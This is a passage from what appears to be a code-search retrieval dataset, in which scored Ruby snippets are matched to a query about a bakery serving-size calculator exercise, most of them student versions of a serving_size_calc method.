"0.5293608", "text": "def show\n @node_tree = @node.hash_tree\n end", "title": "" }, { "docid": "a63f100541fa2340da9bf81a8d06b911", "score": "0.529096", "text": "def node\n read_attr :node\n end", "title": "" }, { "docid": "760f21d3f34c00b9803e80a3956a3491", "score": "0.5279604", "text": "def get_github_repository_details(hyperlink_data)\n data = {\n query: \"query {\n repository(owner: \\\"\" + hyperlink_data[\"owner_name\"] + \"\\\", name: \\\"\" + hyperlink_data[\"repository_name\"] + \"\\\") {\n ref(qualifiedName: \\\"master\\\") {\n target {\n ... on Commit {\n id\n history(first: 100) {\n edges {\n node {\n id author {\n name email date\n }\n }\n }\n }\n }\n }\n }\n }\n }\"\n }\n make_github_graphql_request(data)\n end", "title": "" }, { "docid": "879622fc6ff03a50f89665af2748213d", "score": "0.5279045", "text": "def node_id() ; info[:node] ; end", "title": "" } ]
1e3636d6611e2446a949339f61d07a86
1) Michael Wang 2) Zach Barton We spent [] hours on this challenge. Bakery Serving Size portion calculator.
[ { "docid": "343689fa0c48018097f676f51125719f", "score": "0.6204536", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n# error_counter = 3\n\n unless library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n #library.each do |food|\n # if library[food] != library[item_to_make]\n # error_counter += -1\n # end\n # end\n\n #if error_counter > 0\n # raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n #end\n \n #checking to see if item_to_make is in library hash, raise error if not\n\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n \n #calculate remainder of ingredients\n\n # case remaining_ingredients\n #when 0\n if remaining_ingredients != 0\n suggested_items = []\n remaining = remaining_ingredients\n library = library.sort_by { |food, ingredients| ingredients }\n library = library.reverse.to_h\n library.each do |food, ingredients|\n new_item = remaining_ingredients / ingredients\n suggested_items << [food, new_item]\n \n remaining_ingredients = remaining_ingredients % ingredients\n \n end\n \n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining} leftover ingredients. Suggested baking items: #{suggested_items}\"\n \n #iterate through hash using remainder\n \n else \n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n end\n \n #return number of servings of item we can create, and if there is a remainder, suggest other items to make with ingredients\nend", "title": "" } ]
[ { "docid": "04cbfbb702aa9620695a7cca6a7ab31a", "score": "0.7011357", "text": "def calculate_sizes\n @big_blocks = (@book_size.to_f/BlockDiv.to_f).ceil\n @list_blocks = (@big_blocks / ListBlocks) + 1\n @root_start = @big_blocks\n end", "title": "" }, { "docid": "e6e963840648dec9989a2fb600346800", "score": "0.6975823", "text": "def calculate_sizes\n @big_blocks = (@book_size.to_f/BlockDiv.to_f).ceil\n @list_blocks = (@big_blocks / ListBlocks) + 1\n @root_start = @big_blocks\n end", "title": "" }, { "docid": "c84e34eebfbd9345fcd5dbc5522d47b6", "score": "0.6803828", "text": "def serving_size_calc(item_to_make, order_quantity)\n menu = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n # Error checking\n if !menu.has_key?(item_to_make)\n raise ArgumentError.new (\"#{item_to_make} is not a recognized bakery item.\")\n end\n\n # Finding serving size and amount of hungry leftover\n serving_size = menu[item_to_make]\n hungry_people = order_quantity % serving_size\n\n # Returns String based on whether there are hungry people left or not \n \n if hungry_people == 0\n puts \"Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n puts \"Make #{order_quantity/serving_size} of #{item_to_make}, you have #{hungry_people} hungry people. You should buy #{hungry_people} cookie(s) for them. Or make #{order_quantity/serving_size + 1} of #{item_to_make}. You will have #{serving_size - hungry_people} leftover slices.\"\n end\n\nend", "title": "" }, { "docid": "f22c4867f0104f7eeaf2c181ed8295af", "score": "0.677873", "text": "def serving_size_calc(item_to_make, order_quantity)\r\n menu = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\r\n\r\n # Error checking\r\n if !menu.has_key?(item_to_make)\r\n raise ArgumentError.new (\"#{item_to_make} is not a recognized bakery item.\")\r\n end\r\n\r\n # Finding serving size and amount of hungry leftover\r\n serving_size = menu[item_to_make]\r\n hungry_people = order_quantity % serving_size\r\n\r\n # Returns String based on whether there are hungry people left or not \r\n if hungry_people == 0\r\n puts \"Make #{order_quantity/serving_size} of #{item_to_make}\"\r\n else\r\n puts \"Make #{order_quantity/serving_size} of #{item_to_make}, you have #{hungry_people} hungry people. You should buy #{hungry_people} cookie(s) for them. Or make #{order_quantity/serving_size + 1} of #{item_to_make}. You will have #{serving_size - hungry_people} leftover slices.\"\r\n end\r\n\r\nend", "title": "" }, { "docid": "bc8da107f4aab0f73b870d32dfe94e4c", "score": "0.67450786", "text": "def serving_size_calc(item_to_make, num_of_servings)\r\n\r\n # Bakery's library of how many people each bakery item serves.\r\n baked_goods_servings = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\r\n\r\n # Raise error if the input item isn't in the bakery's library.\r\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if !baked_goods_servings.keys.include?(item_to_make)\r\n\r\n # How many people does the item serve?\r\n serving_size = baked_goods_servings[item_to_make]\r\n\r\n # How many people aren't served if servings aren't exact and we round down.\r\n remaining_servings = num_of_servings % serving_size\r\n\r\n # Print out how many of the bakery item to buy to feed desired people, and how many servings\r\n # will be left over.\r\n if remaining_servings == 0\r\n \"Calculations complete: Make #{num_of_servings / serving_size} of #{item_to_make}\"\r\n else\r\n \"Calculations complete: Make #{(num_of_servings / serving_size) + 1} of #{item_to_make}. (There will be #{serving_size - remaining_servings} leftover servings)\"\r\n end\r\n\r\nend", "title": "" }, { "docid": "123d3aba1de3071145dd67c08bf2a883", "score": "0.67423666", "text": "def serving_size_calc(item_to_make, count_of_serving)\n baked_goods = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if baked_goods.has_key?(item_make) == false \n \n serving_size = baked_goods[item_to_make]\n\n portion_left_over = count_of_serving % serving_size\n\n if portion_left_over == 0\n return \"Make #{count_of_serving / serving_size} of #{item_to_make}\"\n else\n return \"Make #{count_of_serving / serving_size} of #{item_to_make}, you have #{portion_left_over} leftover servings. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "955f58363834f3330a60a5e1e17adf22", "score": "0.66538733", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n unless library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n #calculating how many whole items we can make\n #calculates how many left over items there are\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n num_items = num_of_ingredients / serving_size\n\n output = \"Calculations complete: Make #{num_items} of #{item_to_make}\"\n\n while remaining_ingredients > 0\n\n #find the largest thing we can make's size\n best_avail = library.select {|k, v| remaining_ingredients >= library[k]}.values.max\n # see how many we can make of them\n num_leftovers = remaining_ingredients / best_avail\n #see what the item is\n extra_item = library.select {|k, v| library[k] == best_avail}.keys[0]\n #add item to output\n output += \" and #{num_leftovers} of #{extra_item}\"\n #decrement remaining ingredients\n remaining_ingredients -= num_leftovers*best_avail\n end\n output\n\nend", "title": "" }, { "docid": "a51dfba130f705278a8be7bce15521ba", "score": "0.66059506", "text": "def serving_size_calc(item_to_make, servings_of_item_to_make)\n\n# Defining our library of baked goods we can make\n\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n# Raises error if trying to bake item not in library\n\n raise ArgumentError.new(\"{item_to_make} is not a valid input\") unless library.has_key?(item_to_make)\n\n\n# Pulling the serving size at the item being baked\n\n serving_size = library[item_to_make]\n\n# Remaining servings\n\n remaining_servings = servings_of_item_to_make % serving_size\n\n# Feature\n\n if remaining_servings == 6\n extra_item = \"1 cake and 1 cookie\"\n elsif remaining_servings == 5\n extra_item = \"1 cake\"\n else\n extra_item = \"#{remaining_servings} cookie(s)\"\n end\n\n\n# Output statements\n\n if remaining_servings == 0\n\n# So if no extra servings, then print statement saying how many of the item you've made\n\n return \"Calculations complete: Make #{servings_of_item_to_make / serving_size} of #{item_to_make}\"\n\n# If extra servings, print number of items and however many remaining servings + the TODO item\n\n else\n return \"Calculations complete: Make #{servings_of_item_to_make / serving_size} of #{item_to_make}, you have #{remaining_servings} leftover ingredients. Suggested baking items: #{extra_item}\"\n end\n\nend", "title": "" }, { "docid": "284a31308eac01e8e91bff567803fa03", "score": "0.6590591", "text": "def serving_size_calc(item_to_make, order_quantity)\n #Defining a list of items we can bake\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n #Checks to see if the item to make is in our library\n=begin\n error_counter = 3\n\n library.each do |food|\n if library[food] != library[item_to_make]\n p error_counter += -1\n end\n end\n\n if error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n=end\n unless library.has_key?(item_to_make)\n raise ArgumentError.new (\"#{item_to_make} is not available\")\n end\n #Check to see if there are leftovers\n=begin\n serving_size = library.values_at(item_to_make)[0]\n serving_size_mod = order_quantity % serving_size\n=end\n serving_size = library[item_to_make]\n leftovers = order_quantity % serving_size\n #Determines how much to make of an item and whether there are leftovers\n if leftovers >= 5\n if leftovers % 5 == 0\n suggested_baking_item = \"A cake.\"\n else suggested_baking_item = \"A cake and #{leftovers - 5} cookies.\"\n end\n else suggested_baking_item = \"#{leftovers} cookies.\"\n end\n\n if leftovers == 0\n \"Calculations complete: Make #{order_quantity/serving_size} #{item_to_make}\"\n else\n \"Calculations complete: Make #{order_quantity/serving_size} #{item_to_make}, you have #{leftovers} leftover portion(s). Suggested alternative item(s): #{suggested_baking_item}\"\n end\nend", "title": "" }, { "docid": "7f1a1faad466a9916cb455064144044b", "score": "0.6587807", "text": "def serving_size_calc(item_to_make, servings_of_item_to_make)\n \n# Defining our library of baked goods we can make\n \n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n \n# Raises error if trying to bake item not in library \n\n raise ArgumentError.new(\"{item_to_make} is not a valid input\") unless library.has_key?(item_to_make)\n\n \n# Pulling the serving size at the item being baked\n\n serving_size = library[item_to_make] \n \n# Remaining servings\n \n remaining_servings = servings_of_item_to_make % serving_size\n \n# Feature \n \n if remaining_servings == 6\n extra_item = \"1 cake and 1 cookie\"\n elsif remaining_services == 5\n extra_item = \"1 cake\"\n else\n extra_item = \"#{remaining_servings} cookie(s)\"\n end\n \n \n# Output statements\n\n if remaining_servings == 0\n\n# So if no extra servings, then print statement saying how many of the item you've made\n \n return \"Calculations complete: Make #{servings_of_item_to_make / serving_size} of #{item_to_make}\"\n \n# If extra servings, print number of items and however many remaining servings + the TODO item\n \n else\n return \"Calculations complete: Make #{servings_of_item_to_make / serving_size} of #{item_to_make}, you have #{remaining_servings} leftover ingredients. Suggested baking items: #{extra_item}\"\n end\n \nend", "title": "" }, { "docid": "e10e15f429c7e480f0eb78c6e8c81ac9", "score": "0.65785694", "text": "def super_size(n)\n n = n.to_s.split(//).sort.reverse\n big = \"\"\n n.each {|i| big << i}\n big.to_i\nend", "title": "" }, { "docid": "7548f719e54d867c404b56b46650f38c", "score": "0.65559936", "text": "def serving_size_calc(item_to_make, baking_units)\n # Creates a hash table, where the key is the item to make\n # Value is the baking units required\n cook_book = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n \n fail \"#{item_to_make} is not a valid input\" unless cook_book.has_key?(item_to_make)\n \n # Sets serving size to the value in the cook_book hash and references zeroth item for integer \n serving_size = cook_book[item_to_make]\n\n # Sets serving size mod to the remainder of baking units / serving size above\n leftovers = baking_units % serving_size\n\n\n #Takes the serving size mod and checks if it 0 or something else\n #Prints out a different string if mod is 0 or something else\n\n print \"Calculations complete: Make #{baking_units/serving_size} of #{item_to_make}.\"\n \n if leftovers != 0\n puts \" You have #{leftovers} leftover ingredient(s). If you used the rest of your ingredients, you could have the following:\"\n \n serving_size_calc(\"cookie\",leftovers)\n end\nend", "title": "" }, { "docid": "feee9267e1e0187b827c32122599736c", "score": "0.65443677", "text": "def serving_size_calc(item_to_make, num_of_guests)\n#takes two args: item and number of ingredients\n#sets up default values for variables\n servings = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n# error_counter = 3\n\n# If item_to_make key value is nil, return our error\n if servings[item_to_make] == nil\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n# # sets number of items\n# servings.each do |food|\n# if servings[food] != servings[item_to_make]\n# error_counter -= 1\n# end\n# end\n# #iterates over whole library of items, tracks error count\n# if error_counter > 0\n#\n# end\n# raises error if each item in lib fails an equality\n# serving_size = servings.values_at(item_to_make)[0] #[1]\n\n#if servings[item] > guests, tell us we have extra food\n# if = guests tell us it's spot on\n#if less than guests tell us we don't have enough food\n\n if servings[item_to_make] > num_of_guests\n \"Calculations complete, you have #{servings[item_to_make] - num_of_guests} left over servings\"\n elsif servings[item_to_make] == num_of_guests\n \"Spot on!\"\n else\n \"You need to go the store, you need #{num_of_guests - servings[item_to_make]} servings of #{item_to_make}\"\n\n\n# remaining_ingredients = num_of_guests % serving_size\n# #accesses the serving size of the item\n# case remaining_ingredients\n# when 0\n# return \"Calculations complete: Make #{num_of_guests / serving_size} of #{item_to_make}\"\n# else\n# return \"Calculations complete: Make #{num_of_guests / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "9ba57549a0d758cd5a5dcc6fd956bd44", "score": "0.6542828", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n # baker_goods is a hash with a list of items and their inventory value\n bakery_goods = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n raise ArgumentError, \"#{item_to_make} is not a valid input\" unless baker_goods[item_to_make]\n\n serving_size = baker_goods[item_to_make]\n p remaining_ingredients = num_of_ingredients % serving_size\n calc_remaining_ingredients(item_to_make, num_of_ingredients, serving_size, remaining_ingredients)\nend", "title": "" }, { "docid": "bdf818e8033cd4cf206def58aa97bd2a", "score": "0.6539297", "text": "def hat_size (weight, height)\n size = (weight / height) * 2.9\nend", "title": "" }, { "docid": "39c4269f5b25c7ee680dbe1a75720e43", "score": "0.64794075", "text": "def serving_size_calc(item_to_make, order_quantity) #takes 2 parameters 1= item you want to make 2=quantity you want to make\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}#hash of items it has stored\n #item & quanity\n #local variable that stores a number\n\n #iterating through each item in the library\n unless library.include?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n #Return the value of the item set that equal to serving_size\n #Remainder of order quanity & hash value\n serving_size = library[item_to_make]\n serving_size_mod = order_quantity % serving_size\n\n #If remainder == 0 then return first string else return second string\n if serving_size_mod.eql? 0\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients.\"\n if serving_size_mod > 5 && serving_size_mod < 7\n \"Suggested baking items #{library.key(5)}\"\n elsif serving_size_mod > 1 && serving_size_mod < 5\n \"Suggested baking items : #{library.key(1)}\"\n else\n p \"There is nothing else for you.\"\n end\n end\nend", "title": "" }, { "docid": "6af1d7c2656172239fba53c726af3a04", "score": "0.64742786", "text": "def serving_size_calc(item_to_make, order_quantity)\n cookbook = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7} #standard quantity for making each dishs\n \n if cookbook.any? do |key, value|\n key == item_to_make\n end\n p \"Calculating order\" \n else\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = cookbook.values_at(item_to_make)[0] #referring to value at library hash from line 10 \n serving_size_mod = order_quantity % serving_size # equal amount of servings or if there are leftovers \n \n\n if serving_size_mod == 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else \n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, make additional #{item_to_make} to cover #{serving_size_mod} servings.\"\n end\n end", "title": "" }, { "docid": "761239d79782b5d57cc332bbff2599f7", "score": "0.6472181", "text": "def serving_size_calc(item_to_make, order_quantity)\n ingredients_per_desert = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n can_make_food = ingredients_per_desert.include?(item_to_make)\n unless can_make_food #error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n serving_size = ingredients_per_desert[item_to_make]\n leftover_ingredients = order_quantity % serving_size\n amount = \"\"\n quantity = 0\n ingredients_per_desert.each do |k, v|\n if(leftover_ingredients % v == 0)\n amount = k\n quantity = leftover_ingredients / v\n end\n end\n leftover_ingredients = order_quantity % serving_size\n if leftover_ingredients == 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{leftover_ingredients} leftover ingredients. Suggested baking items with: #{quantity} : #{amount}\"\n end\nend", "title": "" }, { "docid": "1d7f459c83ec5d3bc2526faf7b7c768a", "score": "0.6453078", "text": "def serving_size_calc(inventory, item_to_make, num_of_ingredients)\n\n unless inventory.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n\n serving_size = inventory[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n\n\n\n if remaining_ingredients == 0\n puts \"We have the ingredients to make #{num_of_ingredients / serving_size} #{item_to_make} with no leftovers.\"\n else\n puts \"We have the ingredients to make #{num_of_ingredients / serving_size} #{item_to_make}. You have #{remaining_ingredients} leftover ingredients. You need #{serving_size - remaining_ingredients} ingredients to make another #{item_to_make}.\"\n end\n\n\n while remaining_ingredients > 0\n if remaining_ingredients >= 7\n puts \"You can make a pie with the leftovers.\"\n remaining_ingredients -= 7\n elsif remaining_ingredients >= 5\n puts \"You can make a cake with the leftovers.\"\n remaining_ingredients -= 5\n else\n puts \"You can make #{remaining_ingredients} cookies with the leftovers.\"\n remaining_ingredients = 0\n end\n end\n\nend", "title": "" }, { "docid": "70d66e6e22fb0e7b6c83121cc41109e8", "score": "0.64448714", "text": "def serving_size_calc(item_to_make, num_of_ingredients) # define a method titled serving_size_calc which takes two arguments of item_to_make and num_of_ingredients\n cookbook = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7} # create a new hash titled library which has 3 key/value pairs of bakery goods and their quantities.\n suggestion=\"\"\n suggested_num=0\n# data validation\n unless cookbook.include?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = cookbook[item_to_make] # initialize a variable that is the value of the key/item.\n remaining_ingredients = num_of_ingredients % serving_size #modulo method to give us the left over amount when we divide num_of_ingredients by serving_size\n \n\n\n if remaining_ingredients == 0\n puts \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n cookbook.each do |k,v|\n if remaining_ingredients >= v\n suggestion = k\n suggested_num=remaining_ingredients/cookbook[suggestion]\n end\n end\n puts \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients}-- Think about making #{suggested_num} #{suggestion}\"\n end\n \nend", "title": "" }, { "docid": "34a70b38882654c963feeb23bff6b5a1", "score": "0.64314365", "text": "def serving_size_calc(item_to_make, order_quantity)\n bakery_stock = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n bakery_stock.each do |pastery|\n if !bakery_stock.has_key?(\"item_to_make\")\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n end\n\n serving_size = bakery_stock[item_to_make]\n serving_size_mod = order_quantity % serving_size\n\n if serving_size_mod == 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "9b2bc64e5191247333a38046bea28e5f", "score": "0.6421854", "text": "def serving_size_calc(item_to_make, order_quantity) #takes 2 parameters 1= item you want to make 2=quantity you want to make\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}#hash of items it has stored\n #item & quanity\n #local variable that stores a number\n\n #iterating through each item in the library\n unless library.include?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n #if error counter > 0 then return a argument error\n\n\n #Return the value of the item set that equal to serving_size\n #Remainder of order quanity & hash value\n serving_size = library[item_to_make]\n serving_size_mod = order_quantity % serving_size\n\n #If remainder == 0 then return first string else return second string\n if serving_size_mod.eql? 0\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients.\"\n if serving_size_mod > 5 && serving_size_mod < 7\n \"Suggested baking items #{library.key(5)}\"\n elsif serving_size_mod > 1 && serving_size_mod < 5\n \"Suggested baking items : #{library.key(1)}\"\n else\n p \"There is nothing else for you.\"\n end\nend\nend", "title": "" }, { "docid": "fc3e686c9631e9f33c680a3873fd0be2", "score": "0.64213604", "text": "def serving_size_calc(item_to_make, order_quantity)\n # hash of 3 items with serving size values\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n # test if item_to_make is in the library\n # generate error message if test fails\n if !library.include?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n # pull value that corresponds to the key (serving size)\n serving_size = library[item_to_make]\n # figure out leftover ingredients\n leftover = order_quantity % serving_size\n min_order_size = order_quantity/serving_size\n\n # generate message whether you have leftover ingredients\n if leftover == 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make \" + min_order_size.to_s + \" of #{item_to_make}, you have leftover ingredients to make #{leftover} cookies.\"\n end\nend", "title": "" }, { "docid": "957ff987d150ea72d7d8131a881eec5e", "score": "0.64210004", "text": "def serving_size_calc(item_to_make, order_quantity)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n #A hash indicating the number of orders required to make one item\n\n# error_counter = 3\n if library.has_key?(item_to_make)\n# if library[food] != library[item_to_make]\n# p error_counter += -1\n# if error_counter > 0\n# serving_size = order_quantity / library.values_at(item_to_make)[0]\n leftover = order_quantity % library.values_at(item_to_make)[0]\n\n else\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n# end\n #Check if item_to_make is one of the items in the library.\n\n\n serving_size = library.fetch(item_to_make)\n# serving_size_mod = order_quantity % serving_size\n #Check the serving size required for the the item requested from the input.\n #Use % to find leftover\n\n case leftover\n when 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n if leftover < 5\n suggested = \"cookie\"\n else\n suggested = \"cake\"\n end\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{leftover} leftover ingredients. Suggested baking items: #{suggested}\"\n end\n #returns the number of order made and leftover ingredient.\nend", "title": "" }, { "docid": "8191f79c9d86de6bb789a93e09997673", "score": "0.64187664", "text": "def serving_size_calc(item_to_make, order_quantity)\n\n # library is the _____________.\n # ingredients\n # desert\n # ingredints_per_desert\n\n ingredients_per_desert = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n # error_counter = 3\n\n # Figure out if the bakery can make the requested food.\n # aka does the list of food INCLUDE the item_to_make.\n # Hash#include?\n # Are there any built in methods that can do this for you?\n # ingredints_per_desert.each do |k, v|\n # if ingredints_per_desert[food] != ingredints_per_desert[item_to_make]\n # error_counter += -1\n # end\n # end\n\n can_make_food = ingredients_per_desert.include?(item_to_make)\n\n # If the bakery CANNOT make the request food, raise an error.\n unless can_make_food #error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n # array[index] => element\n # ingredients_for_item_to_make\n\n # Find the number of ingredients needed to make requested food.\n\n serving_size = ingredients_per_desert.values_at(item_to_make)[0]\n # In library...\n # Find the value at key = item_to_make\n # So if we pass in \"cookie\" => [1]\n # \"cake\" => [5]\n\n # Values at returns an ARRAY of all values that match a given key.\n # However, since there can only be one of each key in the hash...\n # Values_at returns a single element array.\n # values_at(\"cake\") => [5]\n # [\"apples\", \"bananas][0] => \"apples\"\n # [5][0] => 5\n # The \"[0]\" is converting the values_at array to an integer.\n\n # serving_size_mod is the modulus (remainder) of order_ quantity with serving_size\n\n # Figure out if there would be any leftover ingredients.\n leftover_ingredients = order_quantity % serving_size\n\n # when remainder is 0 it returns the cal to make item with how many quantities\n if leftover_ingredients == 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{leftover_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\n # case serving_size_mod\n # when 0\n # return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n # else\n # return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients. Suggested baking items: TO DO: MAKE THIS FEATURE\"\n # end\nend", "title": "" }, { "docid": "71ca00245a7ed816011ba2415fe89314", "score": "0.6416098", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7} #set names and ingredients of bakery items\n\n unless library[item_to_make] #retrurn argument error unless item_to_make is in the library\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n \n serving_size = library[item_to_make] #set serving_size to ingredient number for item_to_make\n remaining_ingredients = num_of_ingredients % serving_size #set remaining_ingredients to remainder of ingredient number and servings\n\n \n if remaining_ingredients == 6 \n suggested_item = \"1 cake and 1 cookie\"\n elsif remaining_ingredients == 5\n suggested_item = \"1 cake\"\n elsif remaining_ingredients > 1\n suggested_item = \"#{remaining_ingredients} cookies\" \n else\n suggested_item = \"1 cookie\" \n end \n \n if remaining_ingredients == 0 #let us know if there are remaining ingredients\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{suggested_item}.\"\n end\nend", "title": "" }, { "docid": "5864c8d86030e4592db5de3d052cf4ae", "score": "0.64085567", "text": "def serving_size_calc(item_to_make, your_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n error_counter = 3\n\n library.each do |food|\n if library[food] != library[item_to_make]\n error_counter -= 1\n end\n end\n\n if error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = library.values_at(item_to_make)[0]\n remaining_ingredients = your_ingredients % serving_size\n\n if your_ingredients < serving_size\n p \"You don't have enough ingredients to make #{item_to_make}, how about #{your_ingredients} cookies?\"\n end\n\n plates = your_ingredients / serving_size\n if plates > 1\n item_to_make = item_to_make + 's'\n end\n\n\n if remaining_ingredients == 0\n \"Make #{plates} #{item_to_make}\"\n elsif remaining_ingredients == 1\n \"Make #{plates} #{item_to_make} and 1 cookie\"\n elsif remaining_ingredients > 1\n \"Make #{plates} #{item_to_make} and #{remaining_ingredients} cookies\"\n elsif remaining_ingredients % 5 == 0\n \"Make #{plates} #{item_to_make} and #{remaining_ingredients / 5} cakes\"\n elsif remaining_ingredients % 7 == 0\n \"Make #{plates} #{item_to_make} and #{remaining_ingredients / 7} pie\"\n end\nend", "title": "" }, { "docid": "fcb62f69ad6ade154d9b51efbc3f9954", "score": "0.6399779", "text": "def serving_size_calc(item_to_make, order_quantity)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n \n if (library.include? item_to_make) == false\n raise ArgumentError.new(\"Sorry, #{item_to_make} is not a valid bakery item.\")\n end\n \n serving_size = library[item_to_make]\n \n serving_size_mod = order_quantity % serving_size\n\n if serving_size_mod == 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n \n elsif serving_size_mod < 5\n extras = \" #{serving_size_mod} of cookie!\"\n\n elsif serving_size_mod == 5\n extras = \" 1 of cake!\"\n\n else serving_size_mod == 6\n extras = \" 1 of cake and 1 of cookie!\"\n end\n\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}. You still have #{serving_size_mod} serving size(s) to fulfill. You can make the following extra goodies:\" + extras\nend", "title": "" }, { "docid": "fa068efa941de0aac8b2379794fd4d5b", "score": "0.6398102", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n pantry = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") unless pantry[item_to_make] \n\n serving_size = pantry[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n\n case remaining_ingredients\n when 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "52d71641082765c93d59921cecbbcec4", "score": "0.63864154", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n unless library.key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n #check to make sure item_to_make is in the library hash\n #IF not, return error message\n serving_size = library[item_to_make]\n #define the serving size as the value in the key/value pairs in 